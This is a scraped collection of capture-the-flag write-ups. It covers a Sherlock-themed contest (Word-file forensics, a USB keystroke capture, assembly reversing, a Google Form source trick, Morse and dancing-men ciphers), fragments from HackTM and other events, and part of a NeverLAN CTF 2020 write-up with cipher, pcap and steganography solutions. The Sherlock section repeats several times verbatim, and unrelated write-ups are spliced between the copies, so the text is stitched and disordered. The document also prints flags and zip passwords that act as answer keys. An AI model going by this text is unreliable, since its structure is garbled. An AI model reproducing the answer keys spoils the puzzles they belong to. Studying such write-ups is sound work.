A dancing men puzzle!All we need to do here is to look for the signs that look like: 
The flag starts from the right side: 
Which translates to:flag{discoinSaratov}. But this didn't work, so we formatted to ```flag{disco_in_Saratov}```
# PPC
Mind palace I-----I should get back to practicing scripting.```Prompt: It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.
nc 212.47.229.1 33001```This was at first tricky, since I thought that it had to do with Python pacakges since it kept writing ```pip``` and ```piiiip```, but turns out it was a Morse code, with ```pip``` being ```.``` and ```piiiip``` being ```-```
I logged the results by writing ```nc 212.47.229.1 33001 > res.log```, then using vim, by first writing: ```%s/pip/./g``` then ```%s/piiiip/-/g```. Then I removed the ^M s (```%s/^M//g note;```), then decoded the input by removing the spaces first, then finding for similar morse that looked like ```..-. .-.. .- --.``` then went on from there. It turns out around 3 sentences from the Adventure of the Empty House chapter from Return of Sherlock Holmes. ```..-. .-.. .- --. ... .... . .-. .-.. --- -.-. -.- .-.. .. -.- . ... -.-- --- ..- .-. -- --- .-. ... . ```
```flag{sherlocklikesyourmorse}``` |
First public CTF in 2020! 85th place, not bad, A good start to the year!
Note: The flags for this CTF is case-insensitive
# Forensics
Doc. Holmes-----```Prompt: Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?```
Pretty simple, using ```file some.file``` gives us ```Microsoft Word 2007+```, renamed it, then open it up and it gives us a piece of work in a word document with a few random pictures. After extracting with binwalk, I went to the ```_some.doc.extracted/word/media```, then noticed that the original document had 2 pictures shown, but this contained 3. So opened ```image3.jpg``` then got the flag.```FLAG{prominentplace}```
Blogger-----```Prompt: Recently, John's keys began to be pressed by themselves when he runs his blog. You need to figure out what's the matter.```
USB inputs can be traced with pcap files, the USB HID usage tables can be found on USB.org. The manual can be found [here](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) Page 53. I then traced source from 1.7.1 to host because of remote usage, then traced the last few bytes of the inputs.
Since we're looking for ```FLAG```, I looked for the usage IDs, 09, 0F, 04, 0A, respectively. Which leads to packet 541. F
 L
 A
 G
Decrypt it up to the ```}``` symbol and you get```FLAG{like_a_b100dh0und}```
# Reverse
crossw0rd-----```Prompt: While the children were playing toys, Sherlock was solving crosswords in large volumes.```
After disassembling the ELF file, we getGet into the ```_Z5checkv``` and we seeThe top part is taking in an input, hence we see the ```_scanf``` function. Let's check the ```_Z1ePc``` function.
Intersting, looks like there is a function inside the function since it calls. Let's try going in the loop and find out.
```Func _Z1ePc```
```Func _Z1bPc```
```Func _Z1dPc```
```Func _Z1fPc```
```Func _Z1cPc```
```Func _Z1aPc```
So we start in *```_Z1ePc```*, let's get the values that we need:
add rax, 7cmp al, 35h ; '5'
add rax, 11hcmp al, 67h ; 'g'
add rax, 2cmp al, 41h ; 'A'
*```_Z1bPc```*
add rax, 0Fhcmp al, 69h ; 'i'
add rax, 9cmp al, 72h ; 'r'
add rax, 1cmp al, 4Ch ; 'L'
*```_Z1dPc```*
add rax, 0Ahcmp al, 33h ; '3'
add rax, 12hcmp al, 7Dh ; '}'
add rax, 6cmp al, 61h ; 'a'
*```_Z1fPc```*
cmp al, 46h ; 'F'
add rax, 0Ehcmp al, 35h ; '5'
add rax, 10hcmp al, 6Eh ; 'n'
*```_Z1cPc```*
add rax, 3cmp al, 47h ; 'G'
add rax, 0Bhcmp al, 76h ; 'v'
add rax, 5cmp al, 33h ; '3'
*```_Z1aPc```*
add rax, 4cmp al, 7Bh ; '{'
add rax, 0Chcmp al, 33h ; '3'
add rax, 8cmp al, 79h ; 'y'
add rax, 0Dhcmp al, 72h ; 'r'
Since we loaded our string to rax, think of the string as an array. rax is our array and basically adding to it shows us the position of the array that we're trying to compare the character to. So what do we do? Of course, put the numbers that are getting "added" to rax in order. The highest number we see is 12h, which means there are 19 characters in the string because we need to include the 0th array value. After rearranging them, we get the flag:```FLAG{3a5yr3v3r5ing}```
Let's check!
# Misc
True Detective-----```Prompt: And now it's time to show the skills of a real detective! https://clck.ru/MCop6```We need to figure out where the each place is. However, there's a small trick I discovered. First, go to the developer tools on the browser you're using and take a look at the debugger menu on the google docs and look at the viewform. 
Next, go all the way to the bottom as that's where the form stores the warnings.
There we go! Our prompt answers and the flag pieces!
```,"1 - FLAG{08"]]]],null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]]]],[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"],"2 - c49c3d9a"]]]],null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]]]],[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"],"3 - e8898343"]]]],null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]]]],[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"],"4 - 7729747b"]]]],null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]]]],[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"],"5 - cf1be8}"]```
```FLAG{08c49c3d9ae88983437729747bcf1be8}```
# Crypto
Invitation-----```Prompt: Sherlock doesn't like going to parties. But this time an invitation came to him, which he could not refuse.```
A dancing men puzzle!All we need to do here is to look for the signs that look like: 
The flag starts from the right side: 
Which translates to:flag{discoinSaratov}. But this didn't work, so we formatted to ```flag{disco_in_Saratov}```
# PPC
Mind palace I-----I should get back to practicing scripting.```Prompt: It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.
nc 212.47.229.1 33001```This was at first tricky, since I thought that it had to do with Python pacakges since it kept writing ```pip``` and ```piiiip```, but turns out it was a Morse code, with ```pip``` being ```.``` and ```piiiip``` being ```-```
I logged the results by writing ```nc 212.47.229.1 33001 > res.log```, then using vim, by first writing: ```%s/pip/./g``` then ```%s/piiiip/-/g```. Then I removed the ^M s (```%s/^M//g note;```), then decoded the input by removing the spaces first, then finding for similar morse that looked like ```..-. .-.. .- --.``` then went on from there. It turns out around 3 sentences from the Adventure of the Empty House chapter from Return of Sherlock Holmes. ```..-. .-.. .- --. ... .... . .-. .-.. --- -.-. -.- .-.. .. -.- . ... -.-- --- ..- .-. -- --- .-. ... . ```
```flag{sherlocklikesyourmorse}``` |
For full writeup: [https://mahaloz.re/ctf/hacktm-2020-hackdex/](https://mahaloz.re/ctf/hacktm-2020-hackdex/)
All logic of the binary can be found in the dex::extra() function. After patching the check for the PRO_VERSION at offset 0xC6CF in the binary, you follow the logic of inputs received by dex::get_input() by entering “9” at the user selection menu. Preceding each call to dex::get_input() we can see an array being initialized with either a 3x4 or a 3x3 table. The tables are boggle tables as listed below:
0: ["zel", "ann", "rig"],1: ["tkl", "bui", "nrf"],2: ["fri", "pen", "uad"],3: ["emz", "bna", "xeh", "wtv"],4: ["evo", "rux", "com", "gni"],5: ["plz", "asi", "son"],
There is a board for each call to get more input. Following the logic, we see a ChaCha cipher is initialized at 0xF550B with our input as the key. The cipher is then used to decrypt/encrypt the flag. The program then, after collecting all six words for the user, does a SHA256 checksum on the six words concatenated. The hash must equal: `F550BAA8068D9C17669E140626A9D7BF13EF0A66662AEB5910FC406BE196A287`. Now we brute force all the possible boggelable words from table 0-5 using the provided hacktm.dex file as our word dictionary. We get the words: learning fun friend team overcoming passion. Inputting these words into the pro-prompt will then decrypt the flag and print out the final message with the flag: `HackTM{wh4t_4_cur10us_pow3r_w0rds_h4v3}` |
File signatures challenge , need to xor hexes of the file [https://medium.com/@d4rkvaibhav/writeups-venividivici-ctf-2020-a36dc82fda5c#7f76](https://medium.com/@d4rkvaibhav/writeups-venividivici-ctf-2020-a36dc82fda5c#7f76) |
First public CTF in 2020! 85th place, not bad, A good start to the year!
Note: The flags for this CTF is case-insensitive
# Forensics
Doc. Holmes-----```Prompt: Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?```
Pretty simple, using ```file some.file``` gives us ```Microsoft Word 2007+```, renamed it, then open it up and it gives us a piece of work in a word document with a few random pictures. After extracting with binwalk, I went to the ```_some.doc.extracted/word/media```, then noticed that the original document had 2 pictures shown, but this contained 3. So opened ```image3.jpg``` then got the flag.```FLAG{prominentplace}```
Blogger-----```Prompt: Recently, John's keys began to be pressed by themselves when he runs his blog. You need to figure out what's the matter.```
USB inputs can be traced with pcap files, the USB HID usage tables can be found on USB.org. The manual can be found [here](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) Page 53. I then traced source from 1.7.1 to host because of remote usage, then traced the last few bytes of the inputs.
Since we're looking for ```FLAG```, I looked for the usage IDs, 09, 0F, 04, 0A, respectively. Which leads to packet 541. F
 L
 A
 G
Decrypt it up to the ```}``` symbol and you get```FLAG{like_a_b100dh0und}```
# Reverse
crossw0rd-----```Prompt: While the children were playing toys, Sherlock was solving crosswords in large volumes.```
After disassembling the ELF file, we getGet into the ```_Z5checkv``` and we seeThe top part is taking in an input, hence we see the ```_scanf``` function. Let's check the ```_Z1ePc``` function.
Intersting, looks like there is a function inside the function since it calls. Let's try going in the loop and find out.
```Func _Z1ePc```
```Func _Z1bPc```
```Func _Z1dPc```
```Func _Z1fPc```
```Func _Z1cPc```
```Func _Z1aPc```
So we start in *```_Z1ePc```*, let's get the values that we need:
add rax, 7cmp al, 35h ; '5'
add rax, 11hcmp al, 67h ; 'g'
add rax, 2cmp al, 41h ; 'A'
*```_Z1bPc```*
add rax, 0Fhcmp al, 69h ; 'i'
add rax, 9cmp al, 72h ; 'r'
add rax, 1cmp al, 4Ch ; 'L'
*```_Z1dPc```*
add rax, 0Ahcmp al, 33h ; '3'
add rax, 12hcmp al, 7Dh ; '}'
add rax, 6cmp al, 61h ; 'a'
*```_Z1fPc```*
cmp al, 46h ; 'F'
add rax, 0Ehcmp al, 35h ; '5'
add rax, 10hcmp al, 6Eh ; 'n'
*```_Z1cPc```*
add rax, 3cmp al, 47h ; 'G'
add rax, 0Bhcmp al, 76h ; 'v'
add rax, 5cmp al, 33h ; '3'
*```_Z1aPc```*
add rax, 4cmp al, 7Bh ; '{'
add rax, 0Chcmp al, 33h ; '3'
add rax, 8cmp al, 79h ; 'y'
add rax, 0Dhcmp al, 72h ; 'r'
Since we loaded our string to rax, think of the string as an array. rax is our array and basically adding to it shows us the position of the array that we're trying to compare the character to. So what do we do? Of course, put the numbers that are getting "added" to rax in order. The highest number we see is 12h, which means there are 19 characters in the string because we need to include the 0th array value. After rearranging them, we get the flag:```FLAG{3a5yr3v3r5ing}```
Let's check!
# Misc
True Detective-----```Prompt: And now it's time to show the skills of a real detective! https://clck.ru/MCop6```We need to figure out where the each place is. However, there's a small trick I discovered. First, go to the developer tools on the browser you're using and take a look at the debugger menu on the google docs and look at the viewform. 
Next, go all the way to the bottom as that's where the form stores the warnings.
There we go! Our prompt answers and the flag pieces!
```,"1 - FLAG{08"]]]],null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]]]],[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"],"2 - c49c3d9a"]]]],null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]]]],[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"],"3 - e8898343"]]]],null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]]]],[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"],"4 - 7729747b"]]]],null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]]]],[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"],"5 - cf1be8}"]```
```FLAG{08c49c3d9ae88983437729747bcf1be8}```
# Crypto
Invitation-----```Prompt: Sherlock doesn't like going to parties. But this time an invitation came to him, which he could not refuse.```
A dancing men puzzle!All we need to do here is to look for the signs that look like: 
The flag starts from the right side: 
Which translates to:flag{discoinSaratov}. But this didn't work, so we formatted to ```flag{disco_in_Saratov}```
# PPC
Mind palace I-----I should get back to practicing scripting.```Prompt: It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.
nc 212.47.229.1 33001```This was at first tricky, since I thought that it had to do with Python pacakges since it kept writing ```pip``` and ```piiiip```, but turns out it was a Morse code, with ```pip``` being ```.``` and ```piiiip``` being ```-```
I logged the results by writing ```nc 212.47.229.1 33001 > res.log```, then using vim, by first writing: ```%s/pip/./g``` then ```%s/piiiip/-/g```. Then I removed the ^M s (```%s/^M//g note;```), then decoded the input by removing the spaces first, then finding for similar morse that looked like ```..-. .-.. .- --.``` then went on from there. It turns out around 3 sentences from the Adventure of the Empty House chapter from Return of Sherlock Holmes. ```..-. .-.. .- --. ... .... . .-. .-.. --- -.-. -.- .-.. .. -.- . ... -.-- --- ..- .-. -- --- .-. ... . ```
```flag{sherlocklikesyourmorse}``` |
* Here is my script:```!#/bin/bashfor i in {1..100}do f=`ls -u|head -1`; unzip -P $f $f;done```
* After execute the script a couple of times you will get *flag.tar*.* Extract *flag.tar* and you will have *flags* directory.* Then:```cd flags;find -type f```
* Doing that will return which directories contain files have their name in number.* Then put directories in order of files numbers.* After that convert those directories name to ascii value:
SYNT{z4ge3fux4_n5p11}
* decrypt caesar cipher and you get the flag:
FLAG{m4tr3shk4_a5c11} |
First public CTF in 2020! 85th place, not bad, A good start to the year!
Note: The flags for this CTF is case-insensitive
# Forensics
Doc. Holmes-----```Prompt: Sherlock got it on his super secret channels. You have received a copy of mail. Is everything okay with it?```
Pretty simple, using ```file some.file``` gives us ```Microsoft Word 2007+```, renamed it, then open it up and it gives us a piece of work in a word document with a few random pictures. After extracting with binwalk, I went to the ```_some.doc.extracted/word/media```, then noticed that the original document had 2 pictures shown, but this contained 3. So opened ```image3.jpg``` then got the flag.```FLAG{prominentplace}```
Blogger-----```Prompt: Recently, John's keys began to be pressed by themselves when he runs his blog. You need to figure out what's the matter.```
USB inputs can be traced with pcap files, the USB HID usage tables can be found on USB.org. The manual can be found [here](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) Page 53. I then traced source from 1.7.1 to host because of remote usage, then traced the last few bytes of the inputs.
Since we're looking for ```FLAG```, I looked for the usage IDs, 09, 0F, 04, 0A, respectively. Which leads to packet 541. F
 L
 A
 G
Decrypt it up to the ```}``` symbol and you get```FLAG{like_a_b100dh0und}```
# Reverse
crossw0rd-----```Prompt: While the children were playing toys, Sherlock was solving crosswords in large volumes.```
After disassembling the ELF file, we getGet into the ```_Z5checkv``` and we seeThe top part is taking in an input, hence we see the ```_scanf``` function. Let's check the ```_Z1ePc``` function.
Intersting, looks like there is a function inside the function since it calls. Let's try going in the loop and find out.
```Func _Z1ePc```
```Func _Z1bPc```
```Func _Z1dPc```
```Func _Z1fPc```
```Func _Z1cPc```
```Func _Z1aPc```
So we start in *```_Z1ePc```*, let's get the values that we need:
add rax, 7cmp al, 35h ; '5'
add rax, 11hcmp al, 67h ; 'g'
add rax, 2cmp al, 41h ; 'A'
*```_Z1bPc```*
add rax, 0Fhcmp al, 69h ; 'i'
add rax, 9cmp al, 72h ; 'r'
add rax, 1cmp al, 4Ch ; 'L'
*```_Z1dPc```*
add rax, 0Ahcmp al, 33h ; '3'
add rax, 12hcmp al, 7Dh ; '}'
add rax, 6cmp al, 61h ; 'a'
*```_Z1fPc```*
cmp al, 46h ; 'F'
add rax, 0Ehcmp al, 35h ; '5'
add rax, 10hcmp al, 6Eh ; 'n'
*```_Z1cPc```*
add rax, 3cmp al, 47h ; 'G'
add rax, 0Bhcmp al, 76h ; 'v'
add rax, 5cmp al, 33h ; '3'
*```_Z1aPc```*
add rax, 4cmp al, 7Bh ; '{'
add rax, 0Chcmp al, 33h ; '3'
add rax, 8cmp al, 79h ; 'y'
add rax, 0Dhcmp al, 72h ; 'r'
Since we loaded our string to rax, think of the string as an array. rax is our array and basically adding to it shows us the position of the array that we're trying to compare the character to. So what do we do? Of course, put the numbers that are getting "added" to rax in order. The highest number we see is 12h, which means there are 19 characters in the string because we need to include the 0th array value. After rearranging them, we get the flag:```FLAG{3a5yr3v3r5ing}```
Let's check!
# Misc
True Detective-----```Prompt: And now it's time to show the skills of a real detective! https://clck.ru/MCop6```We need to figure out where the each place is. However, there's a small trick I discovered. First, go to the developer tools on the browser you're using and take a look at the debugger menu on the google docs and look at the viewform. 
Next, go all the way to the bottom as that's where the form stores the warnings.
There we go! Our prompt answers and the flag pieces!
```,"1 - FLAG{08"]]]],null,null,null,null,[["1cTysniECWio21dKH90wnnzNxlB4gKBJI7Bri1Q_K4moAtg",null,[740,385,0]]]],[2014750817,"What is the name of this place?",null,0,[[1092335700,null,0,null,[[4,300,["(bridport|Bridport)"],"2 - c49c3d9a"]]]],null,null,null,null,[["1sd8oiCWcjd1_HiCrOA2f1hrgkknzJvT_Y-tVgx5qjBanKw",null,[740,417,0]]]],[771036932,"Very beautiful Park where Sherlock likes to walk. Where is it?",null,0,[[1600364512,null,0,null,[[4,300,["(finsbury|Finsbury)"],"3 - e8898343"]]]],null,null,null,null,[["1-w_MvKBaer5I78ICXo70E94lH4vKSPmCRekszxbOblJRvA",null,[740,377,0]]]],[302390155,"Every Englishman has been to this square at least once",null,0,[[661956933,null,0,null,[[4,300,["(euston|Euston)"],"4 - 7729747b"]]]],null,null,null,null,[["1sGu1uvZD9tXdbS0ypGTsI05LDj8Bd1U03VV_vjDLI3bY6A",null,[740,385,0]]]],[1070034509,"Which Embassy building is shown in the photo",null,0,[[2072641709,null,0,null,[[4,300,["(hungary|Hungary)"],"5 - cf1be8}"]```
```FLAG{08c49c3d9ae88983437729747bcf1be8}```
# Crypto
Invitation-----```Prompt: Sherlock doesn't like going to parties. But this time an invitation came to him, which he could not refuse.```
A dancing men puzzle!All we need to do here is to look for the signs that look like: 
The flag starts from the right side: 
Which translates to:flag{discoinSaratov}. But this didn't work, so we formatted to ```flag{disco_in_Saratov}```
# PPC
Mind palace I-----I should get back to practicing scripting.```Prompt: It looks like the situation is hopeless, there is no time to think. However, you can use the mind palace and solve all problems instantly.
nc 212.47.229.1 33001```This was at first tricky, since I thought that it had to do with Python pacakges since it kept writing ```pip``` and ```piiiip```, but turns out it was a Morse code, with ```pip``` being ```.``` and ```piiiip``` being ```-```
I logged the results by writing ```nc 212.47.229.1 33001 > res.log```, then using vim, by first writing: ```%s/pip/./g``` then ```%s/piiiip/-/g```. Then I removed the ^M s (```%s/^M//g note;```), then decoded the input by removing the spaces first, then finding for similar morse that looked like ```..-. .-.. .- --.``` then went on from there. It turns out around 3 sentences from the Adventure of the Empty House chapter from Return of Sherlock Holmes. ```..-. .-.. .- --. ... .... . .-. .-.. --- -.-. -.- .-.. .. -.- . ... -.-- --- ..- .-. -- --- .-. ... . ```
```flag{sherlocklikesyourmorse}``` |
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# NeverLAN CTF 2020Start: Sat, Feb 8 2020, 10:00 AM EST
End: Tue, Feb 11 2020, 7:00 PM EST
# Placing- [Students](student_scoreboard.png): 1st (max score)- General: 31st
# ReviewThis weekend I played in NeverlanCTF as the solo team `bosh`. The challenges were alright, although many of them were just guessing.
I didn't like how they did not announce challenge drops before they actually released them, and how the platform went down after the last wave of challenge releases.
# Writeups## Table of contents| Challenge Name | Category | Points ||:-:|:-:|:-:|| [Adobe Payroll](#adobe-payroll) | Reverse Engineering | 100 || [Script Kiddie](#script-kiddie) | Reverse Engineering | 100 || [Reverse Engineer](#reverse-engineer) | Reverse Engineering | 200 || [Pigsfly](#pigsfly) | Cryptography | 30 || [BaseNot64](#basenot64) | Cryptography | 50 || [Don't Take All Knight](#don't-take-all-knight) | Cryptography | 75 || [The Invisibles](#the-invisibles) | Cryptography | 75 || [Stupid Cupid](#stupid-cupid) | Cryptography | 100 || [My Own Encoding](#my-own-encoding) | Cryptography | 200 || [BabyRSA](#babyrsa) | Cryptography | 250 || [CryptoHole](#cryptohole) | Cryptography | 250 || [It is like an onion of secrets](#it-is-like-an-onion-of-secrets) | Cryptography | 300 || [Unsecured Login](#unsecured-login) | PCAP | 50 || [Unsecured Login2](#unsecured-login2) | PCAP | 75 || [FTP](#ftp) | PCAP | 100 || [Teletype Network](#teletype-network) | PCAP | 125 || [hidden-ctf-on-my-network](#hidden-ctf-on-my-network) | PCAP | 250 || [Listen to this](#listen-to-this) | Forensics | 125 || [Open Backpack](#open-backpack) | Forensics | 150 || [Look into the past](#look-into-the-past) | Forensics | 250 || [DasPrime](#dasprime) | Programming | 100 || [password_crack](#password_crack) | Programming | 100 || [Robot Talk](#robot-talk) | Programming | 200 || [BitsnBytes](#bitsnbytes) | Programming | 200 || [Evil](#evil) | Programming | 200 || [Front page of the Internet](#front-page-of-the-internet) | Recon | 50 || [The Big Stage](#the-big-stage) | Recon | 75 || [The Link](#the-link) | Recon | 75 || [Thats just Phreaky](#thats-just-phreaky) | Recon | 200 || [Cookie Monster](#cookie-monster) | Web | 10 || [Stop the Bot](#stop-the-bot) | Web | 50 || [SQL Breaker](#sql-breaker) | Web | 50 || [SQL Breaker 2](#sql-breaker-2) | Web | 75 || [Follow Me!](#follow-me) | Web | 100 || [Browser Bias](#browser-bias) | Web | 150 || [Chicken Little 1](#chicken-little-1) | Chicken Little | 35 || [Chicken Little 2](#chicken-little-2) | Chicken Little | 36 || [Chicken Little 3](#chicken-little-3) | Chicken Little | 37 || [Chicken Little 4](#chicken-little-4) | Chicken Little | 38 || [Chicken Little 5](#chicken-little-5) | Chicken Little | 39 || [Chicken Little 6](#chicken-little-6) | Chicken Little | 40 || [Chicken Little 7](#chicken-little-7) | Chicken Little | 100 || [Milk Please](#milk-please) | Trivia | 10 || [Professional Guessing](#professional-guessing) | Trivia | 10 || [Base 2^6](#base-2^6) | Trivia | 10 || [AAAAAAAAAAAAAA! I hate CVEs](#aaaaaaaaaaaaaa!-i-hate-cves) | Trivia | 20 || [Rick Rolled by the NSA???](#rick-rolled-by-the-nsa) | Trivia | 50 |
## Reverse Engineering### Adobe PayrollOnce we unzip with 7z we end up with two files:`description.MD``Adobe_Employee_Payroll.exe`
`description.MD` hints towards a software called [DotPeek](https://www.jetbrains.com/decompiler/).
DotPeek decompiles (read: translates to semi human readable code) .NET files, such as our .exe file. After we open `Adobe_Employee_Payroll.exe` up, we can explore the files:
Double clicking on something seems like a good idea. Now we can see the decompiled code for something that looks important:As you can see, `r1`, `r2`, `r3` and so (till `r38`) on seem to be holding integers. They seem like they're ASCII values... and they are!
Without even looking at the rest of the program, we can find the flag by converting all the values from `r1` through `r38` to letters.
### Script KiddieThe "encrypted" `encrypted_db` is really just a bunch of base64 strings, which are then encoded using hex.
We can decode by using this script:```pythonfrom base64 import b64decode
f = open("encrypted_db").read().strip().replace("\n", "").decode("hex")
f = b64decode(f.strip())
print(re.findall(r'flag{.+?}', f))```
Running the script gives the flag.
### Reverse EngineerLet's open it up in Ghidra.We scroll until we find a cool looking function called `print`. It seems to be building a string from hex values.
Converting all those from hex to ASCII gives the flag.
## Cryptography### PigsflyBasic substitution cipher, using the pigpen cipher alphabet.
Decrypting gives the flag.
### BaseNot64As from the title, the data is not in base 64. We play around with the different encodings in [cyberchef](https://gchq.github.io/CyberChef/).
Noticing that there are only capital letters / symbols in the plaintext, we can probably guess that the base will be relatively small. We try to decode it as a base 32 string, and it works.
Decoding gives the flag.
### Don't Take All KnightAnother basic substitution cipher, using the Knights Templar Code cipher. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/templars-cipher).
Decrypting gives the flag.
### The InvisiblesYet another basic substitution cipher, using the Arthurs and the Invisibles alphabet. Decode.f<span>r</span> has a [nice solver](https://www.dcode.fr/arthur-invisibles-cipher).
Decrypting gives the flag.
### Stupid CupidGoogling `Cupid cipher` gives us some results about how James Madison hid his plaintexts in some text using numbers.
When we count the amount of numbers in the ciphertext at the top of the file, we find that it is equal to the amount of rows there are, and the highest number in the ciphertext does not exceed the number of columns :eyes:
We then guess that each row corresponds to a character of the plaintext, and each number in the ciphertext is the corresponding column to pick from.
For example:The first number in the ciphertext is `6`. The character at the first row, 6th column is `V`.Then, the second number in the ciphertext is `12`. The character at the second row, 12th column is `E`.
Continue to get the flag.
### My Own EncodingWe are presented with 16 5x5 grids, each with a single box blacked out.Shot in the dark.We reason that since it is 5x5, there are 25 choices which is close enough to 26 (letters of the alphabet).
We assume the top left represents the letter A, and the next one to the right represents B, and so on.
Doing so, we get `MHBDI...`, until we reach the 12th box. There is no marking here! Another shot in the dark. We assume that no marking represents the letter `A`.
Thus, our previously transcribed "plaintext" has to be Caesar shifted by 1 to get the flag, easy enough.
### BabyRSAQuestionable RSA. I didn't know what to do with the numbers since they were spaced out. I finally guessed they were individual characters of the flag and successfully decrypted them as such.
Using [factordb](http://factordb.com/), we can factor `n` into `17 * 149`, obviously the p and q for this challenge.
Now, using modified code from [a StackExchange article](https://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e), we can decrypt the flag character by character.
```python# Function from Geeks for Geeksdef modInverse(a, m): m0 = m, y = 0, x = 1 if (m == 1): return 0 while (a > 1) : q = a // m t = m m = a % m a = t t = y y = x - q * y x = t if (x < 0): x += m0 return x
def decrypt(ct): p = 17 q = 149 e = 569
# compute n n = p * q
# Compute phi(n) phi = (p - 1) * (q - 1)
# Compute mult mod inv of e d = modInverse(e, phi)
# Decrypt ciphertext pt = pow(ct, d, n) print(chr(pt), end="")
chall = "2193 1745 2164 970 1466 2495 1438 1412 1745 1745 2302 1163 2181 1613 1438 884 2495 2302 2164 2181 884 2302 1703 1924 2302 1801 1412 2495 53 1337 2217".split()
# this is probably bad practice but it workslist(map(lambda x: decrypt(int(x)), chall))```
### CryptoHoleBasically just a bunch of ciphers. Each level has a chal.txt which contains an encrypted password, and a password-protected zip file for the next layer.
Here is the order:
Layer 1 -`A ffine Cipher here 3`:- Affine Cipher- Brute force- Password is `AfvqPZW0bDMB&HTfzo`
Layer 2 - `Two is better than one`- Double Transposition Cipher- Both keys are `NEVERLANCTF`- Ciphertext decrypts to `PASSWORDV78DTNRI6KBD3SDFQXXXXXXXX`- Password is `V78DTNRI6KBD3SDFQ`
Layer 3 - `I'm on the fence with this one`- Rail Fence Cipher:- Brute force- `password:·VSEAS5aevg8Bwlovr`
Layer 4 - `Salad Time`- Keyed Caesar Cipher- Key is `neverLANCTF`- Shift is `0`- Password is `gTLvCGk$HyRVSssXVaSX`
Layer 5 - `ROTten`- Standard Caesar Cipher- Shift is `13`- Password is `e1Ydr*zxOOybF6RR%h5f`
Layer 6 - `Vigenere Equivent E`- Standard Caesar Cipher- Shift is `22`- Password is `fI7BPZL#ZN5PI!&pbTXc`
Layer 7 - `Easy one`- Base64 encoded string- Password is `vxw@Ztet#ZfBnYVxJ1IM`
Layer 8 - `Message indigestion`- MD5 digest- Brute force- Password is `password23`
Layer 9 - `For SHA dude`- SHA1 digest- Brute force- Password is `applez14`
Layer 10 - `ONE more TIME`- One Time Pad- First part of key is `This is our world now...` from `chal.txt` - Hints to a section from the Hacker Manifesto- Full key is: `This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be`- Decrypt the OTP to get the flag
### It is like an onion of secretsWe get download the png image. In it is a funky lookin dog with no flag :(
We guess it is LSB encrypted since Binwalk doesn't return anything useful.
We plug it into [stylesuxx's LSB tool](https://stylesuxx.github.io/steganography) and we decode.
We get some base64, which we now play with a bunch in [CyberChef](https://gchq.github.io/CyberChef/).
After we base64 decode it twice, we get a bunch of:`lspv wwat kl rljvzfciggvnclzv`
Now we guess again and decrypt it using the `Variant Beaufort Vigenere cipher` (found on Cryptii's Vigenere tool) and key `NeverLANCTF`. The plaintext gives the flag.
## PCAP### Unsecured LoginYou don't even need Wireshark, just use `strings mysite.pcap | grep flag`
### Unsecured Login2You don't even need Wireshark, just use `strings mysite2.pcap | grep flag`
### FTPYou don't even need Wireshark, just use `strings ftp.pcap | grep flag`If you want to, you can right click on any ftp packet and follow the tcp stream. If there's no flag, then move on to the next stream.
### Teletype NetworkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
### hidden-ctf-on-my-networkYou don't even need Wireshark, just use `strings telnet.pcap | grep flag`
## Forensics### Listen to thisWhen we listen to the mp3 initially, we can hear a faint beeping in the background. This sounds like Morse code, so let's find an easy way to transcribe it to text dits and dahs (radio speak for dots and dashes).
We open it up in Audacity, and notice there are two tracks. Let's switch to spectrogram view. We can do this by clicking on the arrow pointing downwards next to the track name, then clicking `Spectrogram`:
If we zoom in on the beginning of the track, we can see that the Morse code is in the second track:
One huge issue right now is that the Morse code is "covered" by the actual vocals of the track. I was stuck on this portion for a while.
Let's split the tracks to mono using the track settings.
Then, we subtract the original track from the track with morse code. After that, we'll be able to clearly see the morse code in spectrogram view.
First, we select one track, and invert it (`Effect > Invert`). Then, we select both tracks and mix them together (`Tracks > Mix > Mix and Render`).
It's still a bit hard to see, so let's change the coloring.
We open up track settings and then select `Spectrogram Settings`. We change the color range to 20 dB instead of 80 dB (decibels).
The result is morse code. Now all we have to do is open up a text editor, copy the morse code down, and convert it to text using an online tool (:
The short ones are dits and the long ones are dahs. I usually represent the short ones with `.` and the long ones with `-`, which is a format most online morse-to-text tools use as well.
That would be the first letter in the text.
